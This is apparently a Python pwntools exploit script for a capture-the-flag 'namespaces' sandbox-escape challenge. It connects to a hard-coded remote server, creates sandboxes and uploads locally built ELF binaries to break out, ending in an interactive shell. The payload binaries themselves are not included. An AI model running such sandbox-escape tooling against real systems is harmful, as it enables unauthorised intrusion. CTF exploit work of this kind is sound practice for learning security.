#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import subprocess
import time

#context.log_level = 'DEBUG'

def m(opt):
    print r.recvuntil('> ')
    r.sendline(str(opt))

def load_elf(filename):
    data = read(filename)
    print r.recvuntil('elf len? ')
    r.sendline(str(len(data)))
    print r.recvuntil('data? ')
    r.send(data)

def create_sandbox(init="init"):
    m(1)
    print r.recvuntil('Please send me an init ELF.')
    load_elf(init)

def choose_sandbox(sb_idx):
    print r.recvuntil('which sandbox?')
    r.sendline(str(sb_idx))

def run_elf(filename, sb_idx = 0):
    m(2)
    choose_sandbox(sb_idx)
    load_elf(filename)

assert subprocess.call(["make"]) == 0

#r = process('./namespaces')
r = remote('35.246.140.24', 1)
print(r.readuntil('Your response?'))
r.send(raw_input())

create_sandbox('init')
create_sandbox('init')
run_elf('server')
time.sleep(3)
run_elf('client', 1)
time.sleep(3)

create_sandbox('unshare')
time.sleep(3)
run_elf('init', 2)

r.interactive()
